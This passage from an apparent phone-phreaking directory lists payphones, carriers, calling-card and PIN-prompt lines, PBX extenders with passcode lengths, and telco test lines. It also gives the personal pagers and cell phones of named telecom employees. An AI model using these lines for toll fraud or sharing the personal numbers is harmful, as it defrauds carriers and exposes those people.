UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9593 University of Waterloo Davis Centre. (M) (I) +(519) 746-9594 University of Waterloo Davis Centre. (M) (I) +(519) 746-9602 WLU Aird First Floor Dining Hall Lower Level. (M) (I) +(519) 746-9624 Wilfred Laurier University Aird Dining Hall East. (M) (I) +(519) 746-9626 UofW South Campus Bus Stop near Davis Centre Library. (M) (O) +(519) 746-9628 UofW South Campus Bus Stop on Ring Road. (M) (O) +(519) 746-9630 UofW South Campus Ira G Needles Hall Bus Stop. (M) (O) +(519) 746-9631 University of Waterloo South Campus Bus Stop. (M) (O) +(519) 747-5773 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O) +(519) 747-9422 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O) +(519) 749-7015 1st Canadian Telecom at Belmont Short Stop Kitchener. (C) (O) +(519) 749-8011 1st Canadian Telecom at Highland Short Stop Kitchener. (C) (O) +(519) 749-8857 Paytel on University Ave and Moore in Waterloo, ON. (C) (O) +(519) 749-8877 1st Canadian Telecom at Queen St. Short Stop Kitchener. (C) (O) +(519) 749-9081 Mr. Sub on Highland and Westmount Kitchener, ON. (CE) (O) +(519) 749-9113 Medical Center at 18 Pine St. Kitchener First Floor. (CE) (I) +(519) 749-9335 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9357 King and Gaukel Street Kitchener, ON. (M) (O) +(519) 749-9407 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9462 AT&T Canada payphone at Esso on Fisher Hallman. (C) (O) +(519) 749-9470 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O) +(519) 749-9503 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9505 King and Benton Street. Kitchener, ON. (M) (O) +(519) 749-9524 King and Water Street. Kitchener, ON. (CE) (O) +(519) 749-9535 King Street. (near Benton St.) Kitchener, ON. (M) (O) +(519) 749-9539 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9578 King Street. (near Queen St.) Kitchener, ON. (M) (O) +(519) 749-9607 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O) +(519) 749-9609 Queen Street across from Encore Records. Kitchener, ON. (CE) (O) +(519) 749-9627 King Street. (near Queen St.) Kitchener, ON. (M) (O) +(519) 749-9650 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9657 Kitchener Transit Bus Terminal. (M) (O) +(519) 749-9659 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9662 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9704 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9710 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O) +(519) 749-9732 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9749 Kitchener Transit Bus Terminal. (M) (O) +(519) 749-9782 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9784 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9786 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O) +(519) 749-9893 Kitchener Transit Bus Terminal. (M) (O) +(519) 883-1061 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 883-1384 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 883-8361 Wilfred Laurier University Alvin Wood Concourse. (M) (I) +(519) 885-3211 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 885-3297 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 885-5058 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 886-7899 UofW South Campus Physical Activities Center. (M) (I) +(519) 886-8112 UofW South Campus Physical Activities Center. (M) (I) +(519) 886-8330 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-0094 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-0107 Wilfred Laurier University Students Union Ground Floor. (M) (I) +(519) 888-0837 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-6434 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-7236 University Shops Plaza II Williams Coffee Pub. (M) (I) +(519) 888-9046 Wilfred Laurier University Students Union. (M) (I) +(519) 888-9074 UofW South Campus Physical Activities Center. (M) (I) +(519) 888-9309 Wilfred Laurier University Students Union. (M) (I) +(519) 894-5919 AT&T Canada payphone at Esso on Courtland & Manitou. (C) (O) +(705) 328-9710 Payphone at 98 Albert St. in Lindsay, ON. (A) (O) +(760) 733-9969 Mojave Desert Phone Booth in California. (A) (O) +(810) 784-9018 Armada, Michigan High School. (A) (I) +(905) 946-9953 Coffee Time in Markham, ON. (A) (I) + +(A)=Accepts Incoming Calls, (C)=COCOT, (CE)=Centurion, (DM)=Desktop Millennium, +(I)=Indoors, (M)=Millennium, (O)=Outdoors. + +For more payphone numbers, visit www.payphone-directory.org + + +------------------------------------------------------------------------------- + Telco Employees (Answering Machines and Pagers): +------------------------------------------------------------------------------- + +(204) 941-7654 June Kirby MTS Director Corporate Communications. +(204) 941-8283 Brad Woods MTS Director Investor Relations. +(317) 265-2539 Jim L. Bayless with Ameritech Indiana Security. +(416) 350-0573 Bell Canada Media Relations (Irene Shimoda) +(416) 377-3724 Mike Turner's Pager (works for Bell) +(416) 379-2117 Dave Twiner's Pager (works for Bell) +(416) 452-4626 Caroline Verboon of GPC. (cell phone) +(416) 453-5501 George Ross with Telecom Canada. (cell phone) +(416) 581-3311 Bell Canada Media Relations (Don Hogarth) +(416) 581-3311 irene.shimoda@bell.ca +(416) 598-0055 GPC Communications (Caroline Verboon) +(416) 941-7026 Bell Canada Media Relations Pager. (Irene Shimoda) +(514) 391-2007 Bell Canada Media Relations (Louis Arseneault) +(514) 786-3655 shirley.bishop@bell.ca +(514) 786-3908 Jean-Charles Robillard with Bell Canada. +(514) 870-2488 Bell Canada Investor Relations (Frank Miscio) +(514) 918-3617 Jean-Charles Robillard (cell phone) +(604) 432-2663 Doug Strachan with TELUS. +(613) 660-1186 Bell Canada's Voice Information Processing System. +(613) 660-2355 Bell Canada's Voice Information Processing System. +(613) 660-6708 Roxanne Halverson with Bell Canada. +(613) 660-6709 Bell Canada's Voice Information Processing System. +(613) 660-6710 Stentor Communications. (Isabelle Lanteigne) +(613) 660-6711 Stentor Communications. (French employee) +(613) 660-6712 Stentor Communications. (Louisse) +(613) 660-6713 Stentor Emergency Operations Centre. +(613) 660-6982 Stentor 2000 Information Line. + +1-800-272-4835 Steve Freedlander with Ameritech. (Answering Machine) +1-800-407-2355 John with Southwestern Bell Wireless. +1-800-455-6813 Jack Hogan of MCI WorldCom's Pager. +1-800-465-9625 Bell Canada Media Relations (Shirley Bishop) +1-800-483-6390 Scott's Pager (Qwest Communications) +1-800-483-7695 Scott from Americom's Pager/Voicemail. +1-800-493-2603 Kimberly Smith at Qwest Communications. +1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine) +1-800-661-0480 Debbie Southerland of Bell ActiMedia. +1-800-808-8334 David Miller with MCI WorldCom in Tucson. (Answering Machine) +1-800-939-6680 John Ryan of AT&T Network Engineering's Pager. +1-877-391-2007 Bell Canada Media Relations (Louis Arseneault) +1-888-482-0809 Bell Canada Media Relations (Irene Shimoda) + + +------------------------------------------------------------------------------- + Numbers that Require PINs: +------------------------------------------------------------------------------- + +(416) 350-9024 "Enter your PIN number now." +1-800-235-3155 "Welcome. Enter the PIN number you wish." +1-800-249-6245 "Please enter your 7 digit access code." +1-800-309-6678 "Please enter your PIN number now." +1-800-352-8201 "Please enter your 4 digit PIN." +1-800-525-7877 "Please enter your 4 digit PIN." +1-800-549-6245 "Welcome. Enter the PIN number you wish." +1-800-555-2250 "Enter the PIN number you wish." +1-800-566-6245 "Please enter your four digit PIN." +1-800-643-6245 "Enter ID number immediately followed by your security code." +1-800-749-4200 "Enter the PIN number you wish." +1-800-827-4780 "Please enter your PIN number." +1-800-827-9910 SkyTel. "Enter the PIN number you wish." +1-800-862-6340 "Please enter your 4 digit PIN." +1-888-612-2355 "Enter the PIN number you wish." +1-888-614-2355 "Enter the PIN number you wish." +1-888-623-2355 "Enter the PIN number you wish." +1-888-684-4466 "Enter the PIN number you wish." + + +------------------------------------------------------------------------------- + Carriers: +------------------------------------------------------------------------------- + +(416) 361-3028 MCI/CompuServe Dialup. +(416) 594-1121 SprintNet Dialup. +(519) 821-4950 AT&T Canada PSN. (dialup with 40 lines) +(905) 470-7122 Toshiba Canada BBS. +1-800-222-0555 Tymnet Dialup. +1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping) +1-800-234-6245 MCI (USA) +1-800-283-5474 Okidata (inside joke!) +1-800-346-3247 CompuServe. +1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA) +1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA) +1-800-472-INET Unisys, UEN Internet Access Gateway - Eagan, MN +1-800-546-2500 Sprint's online directory of SprintNet local access numbers. +1-800-565-8805 Datapac WATS access number. +1-800-604-6245 Digital Equipment Corporation. +1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit. +1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines) +1-800-843-0378 MCI/CompuServe Dialup. +1-800-848-4480 MCI WorldCom Network Assistance. (lists local access numbers) +1-803-939-8207 NCR Global Support Center BBS. (9 lines) + +(Use the N-8-1 setting to connect to the carriers above.) + + +------------------------------------------------------------------------------- + Cellular, PCS, Messaging and Paging Services: +------------------------------------------------------------------------------- + +1-800-214-4488 Wireless Solutions Hotline. +1-800-222-8466 Cellular Rentals. +1-800-225-5152 Nationwide Messaging. +1-800-227-3663 (1-800-CAR-FONE) Ericsson. +1-800-235-1414 National Telewire Message Centre. +1-800-244-7464 Scot Forge. (Mobile Telephone Equipment) +1-800-258-2669 Answer America. (Telephone Answering Service) +1-800-263-7536 Nokia Mobile Phones. +1-800-264-2355 (1-800-ANI-CELL) Cellular South Answer Center. +1-800-267-9010 Message Center Dispatch. +1-800-270-6000 Cleartel's Universal Roaming Service for Personal 800 Users. +1-800-274-3127 MobileCom's National Customer Service Center. +1-800-320-3488 Motorola Radio Network Services. (San Diego, CA) +1-800-329-7402 ProPage (Paging and Voicemail) +1-800-331-6456 Motorola Cellular. +1-800-333-6414 Answerfone, Inc. (Answering Service) +1-800-346-0196 Nationwide Messaging. +1-800-361-1319 Motorola Canada. +1-800-367-2346 Motorola Telecommunications Administration. +1-800-374-2355 InterCall. +1-800-374-2776 (1-800-ERICSSON) Ericsson Mobile Phones Customer Care Center. +1-800-377-2288 Mountain West Communications. (Telephone Answering Service) +1-800-381-7707 Rogers Cantel Service. (Barrie, ON) +1-800-387-9000 Jetco Companies. (press "4" - InTouch Canada Cell Phone Rentals) +1-800-405-6543 American Mobile. +1-800-411-2355 Car Phone Store. +1-800-432-2355 Air Touch Paging. +1-800-438-2355 Kentucky Cellular. +1-800-443-5464 Cue Paging Customer Service. +1-800-446-6744 Motorola Supplier/Customer Training Services. +1-800-452-2355 Appalacian Wireless. +1-800-453-0920 Motorola IDEN Customer Services. +1-800-455-2948 SkyWard Message Center. +1-800-456-3333 SkyTel National Sales Center. +1-800-460-2255 Pager Service. +1-800-461-4575 Motorola Cellular Customer Service. +1-800-474-2355 OmniCell Technologies Incorporated. +1-800-481-2355 ATI Cellular. +1-800-483-5010 Cellular Express. +1-800-488-2355 Cellular 2000. +1-800-496-2355 Nationlink. +1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.) +1-800-523-2337 ProPage. +1-800-535-2489 Cellular City in Las Vegas, NV (Cellular Rentals and Service) +1-800-538-4715 Le Tip International. (Paging, Signaling Equipment and Systems) +1-800-543-7658 Cue Paging Customer Service. +1-800-547-8444 B&B Beepers Activation Line. +1-800-548-7172 Comstock Answering and Services. +1-800-549-2355 Advanced Cellular and Paging. +1-800-569-8840 Answer Point Telephone Equipment. (Reno, NV) +1-800-590-2355 ATI Cellular. +1-800-613-2355 Cellular Unlimited. +1-800-625-8885 Tab Beepers. (Wireless Communications) +1-800-626-2636 SNET Page 2000. (Paging Services) +1-800-634-0958 Palco Telecom Service Inc. (Telephone Equipment and Repairs) +1-800-638-2355 Comcev Cellular Communications. +1-800-642-9378 Mountain West Communications. (Telephone Answering Service) +1-800-654-6115 Business Communications Distributors (BCD) Telephone Equipment. +1-800-667-7243 Cantel AT&T Paging. +1-800-673-2355 Quintex Cellular. +1-800-6AIR-TOUCH Air Touch Paging Canada. +1-800-705-2355 OmniCell Technical Department VMS. +1-800-706-2355 Paging Service Center. +1-800-724-2355 AllCell Rentals. +1-800-742-2355 Mobile Media. +1-800-749-9977 TSR Wireless. +1-800-759-2355 Plymouth Bell Laboratories. +1-800-765-2355 Isralink Communications. (Israeli Cell phones) +1-800-794-2355 Advantage Communications Systems. +1-800-806-2355 Advantage Paging. +1-800-821-2355 MobileCom. +1-800-821-5425 Metro-Call. (Paging, Signaling Equipment and Systems) +1-800-824-2337 The Wireless Store. +1-800-824-9755 Cue Paging Sales. (Paging, Signaling Equipment and Systems) +1-800-825-2222 The 800 Connection. (Answering Service) +1-800-825-2255 Metro-Call Customer Service. (Pager service) +1-800-854-2355 MobileCall accounts. +1-800-858-8828 Cue Paging Corporation. +1-800-861-3701 Nationwide Messaging. +1-800-866-2770 MobileCom. (Pager service) +1-800-866-7000 MobileCom. +1-800-871-2355 The Phone Man. (I'm fucking serious... Haha) +1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only) +1-800-874-6387 Trellis Communications. +1-800-887-2255 Trellis Premier Voice Mail and Paging. +1-800-890-7243 Metro-Call Pagers. +1-800-922-5469 SNET Wireless Services. +1-800-926-2355 Ubet Wireless. +1-800-951-2355 Cantel Communications. +1-800-969-9998 Cable and Wireless USA. +1-800-980-2355 Light Cellular. +1-800-999-6500 Cable and Wireless Customer Care Center. +1-800-NEWTEL-1 American Wireless. +1-800-SKY-8888 SkyTel System Access. +1-800-SKY-FAXE SkyFax (SkyTel Faxing) +1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging) +1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging) +1-800-SKY-TALK SkyTalk (SkyTel Voice Mail) +1-800-SKYTEL-5 SkyTel. +1-800-WIRELESS Page USA. +1-877-240-1267 Cantel Centre De Communication Tech. +1-877-255-CELL InTouch Cellular. +1-877-289-CELL ATX Cellular Department. +1-877-360-CELL Cellhigher USA. (cell phone rentals) +1-877-392-CELL Connect Cell Incorporated. +1-877-4-BELLCO Cellular Connection. +1-877-463-CELL PrimeCell. +1-877-489-CELL PageNet's Wireless Messaging Network. +1-877-498-CELL Portables. +1-877-499-1270 PageNet Wireless Messaging Network. +1-877-502-CELL Cellular Technologies. +1-877-503-CELL Wireless Solutions. +1-877-601-CELL Go Cellular. +1-877-631-CELL Cellular Connections. (Authorized Verizon Wireless Dealer) +1-877-643-CELL Action One Cellular. +1-877-730-CELL Deltacom. (Nextel Dealer/Representative) +1-877-845-CELL Capital City Cellular. (Authorized Rogers AT&T Wireless Dealer) +1-877-873-CELL Discover Communications. (Rogers AT&T Wireless) +1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular. +1-877-954-CELL CelluWorld. +1-877-965-CELL Advanced Communications. +1-877-969-CELL Microcell. +1-877-991-CELL Univercell (cell phone rentals) +1-877-AIRFONE Message Center. +1-877-CELLPHONE Travel Phone. (Cellular Sales) +1-877-MOTOROLA Motorola. +1-877-NEWTEL-1 Mobile Communications +1-877-ROGERS-1 Rogers Corporation. +1-877-ROGERS-2 Rogers AT&T Wireless Automated Self-Service System. +1-877-SATPHONE Globalstar Customer Care. (Satellite Communications) +1-877-USA-CELL USA Cell. +1-877-WIRELESS Cellular Depot. +1-888-229-4443 Cantel AT&T Canada. +1-888-257-8826 Cantel Centre de Communication. +1-888-300-2355 Consolidated Wireless Corporation. +1-888-444-2355 Maricell Cellular. +1-888-481-FIDO Fido PCS Services. +1-888-540-2222 Clearnet Business Communications Center. +1-888-593-2355 S&E Cellular. +1-888-594-SNET SNET Prepaid Cellular Services. +1-888-622-RENT Rent Express. (Bell Mobility phone rentals) +1-888-638-2355 Cantel AT&T. +1-888-642-MIKE Mike Clearnet. +1-888-694-2355 Corporate Communications at AirTouch Customer Service. +1-888-736-8567 Motorola. +1-888-801-2355 Cell Phones and Accessories. +1-888-877-2355 Comcev Communications. +1-888-879-2355 Portable Communications. (The home of the Phone Man) +1-888-901-2355 Digital Communications. +1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.) +1-888-968-2355 Everything Wireless. +1-888-999-2355 Downtown Wireless. +1-888-BUY-CELL Total Communications Rogers AT&T. +1-888-CELL-COM CellCom and PageCom. +1-888-MOTOROLA Motorola. +1-888-WIRELESS Page USA. + + +------------------------------------------------------------------------------- + Free Disks: +------------------------------------------------------------------------------- + +1-800-232-7638 AEC Software Technical Support. (free Windows or Mac disk) +1-800-395-8425 EarthLink Sprint Sales. +1-800-453-3972 Datatrack (ask for Windows Atlas Equipment Manager demo disk) +1-800-487-4838 CompuServe. +1-800-554-4008 Discovery Channel (3 free disks for Internet software) +1-800-638-2661 EarthLink. +1-800-742-5877 UPS (ask for their shipping software for a free disk & CD) +1-800-773-4638 Primus Canada. +1-800-777-9638 (1-800-SPRYNET) Sprynet - Gives you two disks. +1-800-786-7638 (1-800-SUNSOFT) SunSoft - Free 30-day evaluation disk. (press 1) +1-800-827-6364 America Online. +1-800-973-1335 Suretrack Sales. (ask for a free demo disk) +1-800-FREE-MSN Micro$oft Network Canada. +1-800-PRODIGY Prodigy Internet Services. +1-877-288-6626 AT&T Canada Internet Service. +1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks) +1-888-288-1233 AT&T Canada Internet Service. + + +------------------------------------------------------------------------------- + Calling Cards: +------------------------------------------------------------------------------- + +1-800-213-0304 Talk `n Toss Calling Card. +1-800-213-4222 Calling Card. +1-800-225-2255 ATN Communications. (collect, calling & credit card calls) +1-800-225-4288 ATN Communications. (collect, credit, calling card) +1-800-225-5128 NOS automated collect, credit and calling card calls. +1-800-225-5228 ATN Communications. (collect, credit, calling card) +1-800-225-5233 NOS automated collect, credit and calling card calls. +1-800-225-5268 ATN Communications. (collect, credit, calling card) +1-800-225-5475 Smart Cards USA. +1-800-225-5607 NOS automated collect, credit and calling card calls. +1-800-255-8355 AllTel Calling Cards. +1-800-265-3121 Prepaid LD. +1-800-267-3000 World Direct calling card calls. +1-800-270-1111 "Please enter your card number." +1-800-270-3000 "Please enter your card number." +1-800-270-5000 "Please enter your card number." +1-800-270-7000 "Please enter your card number." +1-800-276-2355 Frontier Communications Customer Service. +1-800-277-7468 Sprint Phone Card Calls (press 1) +1-800-279-6111 Unidial Calling Card. +1-800-284-2255 ATN Communications. (collect, credit, calling card) +1-800-300-2355 NOS. (calling card, collect calls, etc.) +1-800-303-5156 OLA Ontario Pre-paid calling card. +1-800-361-7227 HELLO! Phone Pass Prepaid Customer Service Center. +1-800-393-0711 7-11 Calling Cards. +1-800-396-2454 Tech-Card Customer Service. +1-800-423-4343 AT&T Calling Cards (16 digit code) (automated) +1-800-429-8036 OLA Ontario Pre-paid calling cards Customer Service. +1-800-437-6404 Champs Sports Calling Card (9 digit code) +1-800-437-6415 Coca-Cola prepaid phone card dialup. +1-800-437-9291 Star Telecom Network "Please enter your card number." +1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (pre-paid phone cards, etc.) +1-800-463-0004 "Please enter your card number and PIN." +1-800-475-9105 Pre-paid calling cards Customer Service. +1-800-477-9692 ATN Customer Service and Calling Cards. +1-800-484-2266 MCI WorldCom. (4 Digit Security Code) +1-800-484-6245 MCI. (4 Digit Security Code) +1-800-519-1111 Pronto. "Please enter your PIN number now." +1-800-522-2020 Pacific Bell calling card calls. +1-800-525-5288 ATN Communications. +1-800-536-3273 Frontier Customer Service. +1-800-546-9639 Bell Atlantic collect/calling card calls. +1-800-555-1234 NOS automated collect, credit and calling card calls. +1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc. +1-800-555-5321 SNET Calling Card Calls. +1-800-555-COKE Coca-Cola Calling Cards. +1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-572-6361 Pepsi Phone Card. +1-800-576-2255 Frontier Communications Customer Service. +1-800-633-2255 NOS automated collect, credit and calling card calls. +1-800-662-6214 AT&T Calling Cards. +1-800-666-2657 "Please enter your calling card number." +1-800-674-0700 MCI WorldCom calling cards. +1-800-674-6245 Musical Notes and then "Please enter your card number now." +1-800-674-7325 MCI Calling Card. +1-800-674-9997 MCI Calling Card. +1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-725-5288 ATN Communications. +1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.) +1-800-741-7200 MCI WorldCom calling cards. +1-800-783-1414 Frontier Access Card. +1-800-783-1444 Frontier Access collect/calling card calls. +1-800-783-2020 Frontier Communications Customer Service. +1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated) +1-800-814-2808 Sprint Prepaid calling card service. +1-800-827-8750 "Please enter your calling card number." +1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number." +1-800-860-4444 Qwest Communications. (calling card calls) +1-800-860-6000 Qwest Communications calling cards. +1-800-864-7000 Premier World Link Access Number. +1-800-879-3782 NOS (automated collect, credit, calling card calls) +1-800-909-3191 Tech-Card (William Shatner) +1-800-909-3206 MCI WorldCom Pre-paid Card System. +1-800-909-3207 MCI WorldCom Pre-paid Card System. +1-800-909-3212 MCI WorldCom Pre-paid Card System. +1-800-909-3214 GTN-Phone Card System. +1-800-909-3215 Pre-paid Calling Card System. +1-800-909-3217 1-800 Pre-paid. +1-800-909-3218 1-800 Pre-paid. +1-800-909-3219 1-800 Pre-paid. +1-800-909-3225 MCI WorldCom Pre-paid Card System. +1-800-909-3231 MCI WorldCom Pre-paid Card System. +1-800-909-3236 MCI WorldCom Pre-paid Card System. +1-800-909-3240 MCI WorldCom Pre-paid Card System. +1-800-909-3242 MCI WorldCom Pre-paid Card System. +1-800-909-3245 MCI-Exchange Card Service. +1-800-909-3477 Pre-paid Long-Distance Service. +1-800-909-3533 Pre-paid Long-Distance Phonecard (PEI/PC) +1-800-909-3640 MCI WorldCom Pre-paid Card System. +1-800-909-3641 MCI WorldCom Pre-paid Card System. +1-800-909-3642 MCI WorldCom Pre-paid Card System. +1-800-909-3643 "All State" (MCI WorldCom Pre-paid Card System) +1-800-909-3646 MCI WorldCom Pre-paid Card System. +1-800-909-3653 MCI WorldCom Pre-paid Card System. +1-800-909-3654 MCI WorldCom Pre-paid Card System. +1-800-909-3657 MCI WorldCom Pre-paid Card System. +1-800-909-3661 Pre-paid Calling Card System. +1-800-909-4495 Calling Card System (Insimity Point Security Code) +1-800-934-8642 VoiceNet Calling Cards (New York, NY) +1-800-950-1077 GCI Long Distance. (Alaska) +1-800-997-6245 Decoma calling card service. "Please enter your card number." +1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now." +1-800-BCE-HELP Ideal Dial's Telecard Platform. +1-800-DIAL-166 ATN Communications. +1-800-EASY-TEL EasyTel Calling Card Calls. +1-800-ONE-DIME Sprint's 1-800 One Dime. +1-800-PRE-PAID 1-800 Pre-paid. +1-800-YOU-SAVE Collect, Calling Card, Credit Card Calls. +1-877-258-9088 Globo Prepaid Phone Cards Customer Service. +1-877-WILLIAMS Williams Long Distance Calling Card Calls. +1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN) +1-888-818-4266 GST calling cards. + + +------------------------------------------------------------------------------- + Teleconferencing: +------------------------------------------------------------------------------- + +1-800-225-5100 AT&T Corporate Teleconferencing. +1-800-225-5500 Teleconference Assistance. +1-800-225-5700 AT&T Teleconferencing. +1-800-232-1234 AT&T Teleconferencing. +1-800-235-0900 AT&T Teleconferencing. (Spanish and English) +1-800-255-5100 AT&T Teleconferencing. +1-800-255-5500 AT&T Teleconferencing. +1-800-369-1117 MCI Teleconferencing. +1-800-448-2557 AT&T Teleconferencing. +1-800-465-0025 Global Crossing SpeedLink (Conf Calls, Voicemail, Dir Assistance) +1-800-475-4455 Conference Calling Center. +1-800-475-6894 Quarrel Conferencing. +1-800-525-8244 Frontier Confertech. +1-800-544-6363 AT&T Alliance Teleconference Service. +1-800-567-1250 Global Crossing SpeedLink. +1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada) +1-800-569-0788 A Better Conference. +1-800-625-5288 Teleconference Playback Center. +1-800-667-3601 Global Crossing SpeedLink. +1-800-668-4210 Global Crossing Frontier ConferTech. +1-800-768-2550 Global Crossing SpeedLink. +1-800-768-7775 Global Crossing SpeedLink. +1-800-827-1700 Conference Call USA. +1-800-886-2355 Frontier Teleconferencing. +1-800-900-6338 Advantage Conferencing Services. +1-800-925-8000 Conference America. +1-800-933-3258 Global Crossing. +1-800-954-2387 Frontier (Global Crossing) +1-800-962-0044 Conf Call USA. +1-800-CONF-CALL Smith Klein Beecham Conference Center (Sprint) +1-800-CONFERENCE Ameritech Conference Calling. +1-888-345-5200 Video Conferencing Center. + + +------------------------------------------------------------------------------- + Credit Card Verification: +------------------------------------------------------------------------------- + +1-800-228-1111 American Express. +1-800-228-1122 Credit Card Verification. +1-800-268-2530 Credit Card Verification. +1-800-268-8281 Royal Bank Authorization Centre for Visa Cards. +1-800-333-1337 Authorization Centre. +1-800-336-0220 Credit Card Service Bureau. +1-800-361-8370 National Bank Authorization Centre for Master Card. +1-800-528-2121 American Express Card. +1-800-555-1880 Fleet's Card Activation and PIN line. +1-800-556-5678 Bank number to report stolen bank cards. +1-800-561-5224 Credit Authorization Centre +1-800-796-2355 Card Services (Visa and Mastercard) +1-800-810-2355 Customer Service Center. +1-800-866-5000 National Credit Center. +1-800-925-8888 Automated Authorization Centre. (Credit Cards) + + +------------------------------------------------------------------------------- + Canadian Security Intelligence Service (CSIS): +------------------------------------------------------------------------------- + +(204) 983-5405 CSIS in Winnipeg. +(306) 780-5512 CSIS in Saskatchewan. +(403) 292-5255 CSIS in Calgary. +(403) 421-5800 CSIS in Edmonton. +(416) 865-1480 CSIS in Toronto. +(418) 529-8926 CSIS in Quebec City. +(506) 452-3786 CSIS in Fredericton. +(514) 393-5600 CSIS in Montreal. +(604) 528-7400 CSIS in British Columbia. +(613) 993-9620 CSIS HQ in Ottawa. +(613) 998-1679 CSIS. +(709) 772-5449 CSIS in Newfoundland. +(902) 420-5900 CSIS in Halifax. +1-800-267-7685 CSIS (Ontario only) +1-800-564-0866 CSIS (Toronto region) +1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only) + + +------------------------------------------------------------------------------- + Non-Toll Free Extenders, etc. +------------------------------------------------------------------------------- + +(416) 866-8866 PBX. +(519) 651-2000 Extender. +(519) 651-2250 The Communications Group. +(519) 651-2252 Extender (4 digit Client numbers and passcodes) +(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes) +(519) 742-9621 Bell Canada VMS. +(519) 846-2255 Extender. (5 digit passcode) +(519) 846-8786 PBX (dial "9" then the number) +(519) 895-2255 Extender. (5 digit passcode) +(905) 337-3033 Diverter. (416/905) + + +------------------------------------------------------------------------------- + Silent Lines, Test Lines and Strange Messages: +------------------------------------------------------------------------------- + +(403) 425-0052 Gives you Info about a Bell CO in Alberta. +(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center) +(416) XXX-1185 Bell Test Lines. +(423) 539-0001 Memorycall Access line. +(423) 588-9909 Memorycall Access line. +(423) 602-7811 Remote Call FWD Access. +(514) 391-1715 Wide Area Telephone Service (WATS) +(514) 391-4005 MDAR Trouble line. +(514) 481-1111 1khz tone. +(514) 481-1191 1Khz&Battery. +(514) 673-2111 Centrex (ASA) +(514) 786-6786 Control. +(514) 852-8686 Cables. +(514) 870-0200 CDE code MTL. +(514) 870-0669 CDE code MTL. +(514) 870-0704 CDE code MTL. +(514) 870-1252 DMS. +(613) 544-1111 Bell Test Line. +(847) 823-9995 Gives several readings on the Bell CO. +(905) 521-1185 Bell Test Line. +(905) 851-0012 Bell Test Line. +1-800-200-0301 Test line (loud beep) +1-800-200-0302 Test line (loud beep) +1-800-210-0000 Tones. +1-800-221-0200 Siren Tones. +1-800-225-5122 "We are sorry but this program has not started. Thank you..." +1-800-225-5300 "We are sorry but this program has ended and no further calls..." +1-800-225-5308 High pitched TONE. +1-800-225-5528 TONE. "Please enter the number you are calling." +1-800-225-5563 Ring+Silent line. +1-800-225-5871 High Tone then Dialtone. +1-800-265-1111 High Tone. +1-800-266-9999 Fast Busy. +1-800-267-6000 Fast Busy. +1-800-270-0123 Fast Busy. +1-800-293-4421 Fast Busy. +1-800-321-0288 Always Busy. +1-800-323-8126 Dialtone. +1-800-325-4112 Short Tones + High Tone. +1-800-356-2255 Dialtone. +1-800-361-8313 Bell Canada. "There is no service at this number." +1-800-369-2255 Silent line. +1-800-424-5664 "Please check your number and dial again." +1-800-430-7938 DMS. +1-800-437-2206 Alphanet Telecom recording. +1-800-437-3025 No Ring+Silent Line. +1-800-437-8351 High Tones. +1-800-444-1677 Siren Tones. +1-800-454-9927 Alpha net telephone recording +1-800-454-9929 Alpha net telephone recording +1-800-454-9961 Fast Rings. +1-800-455-2013 Ring + Click then Trunk Busy signal. +1-800-455-7947 Ring then silent line. +1-800-456-0000 Dialtone. (PBX) +1-800-465-7735 Strange Tones. +1-800-475-2037 Siren Tones. +1-800-483-2276 No Ring + Trunk Busy signal. +1-800-483-2496 Strange Tones. +1-800-483-2655 "We're sorry, we're unable to place a call from this number." +1-800-483-2730 High Tone. +1-800-483-2933 Siren Tones. +1-800-483-9774 Ring + Trunk Busy Signal. +1-800-485-2255 Ring + Trunk Busy Signal. +1-800-522-2255 Dialtone. +1-800-554-8374 Always Busy. +1-800-555-1120 "We are sorry but this program has ended and..." +1-800-555-1220 Same message as 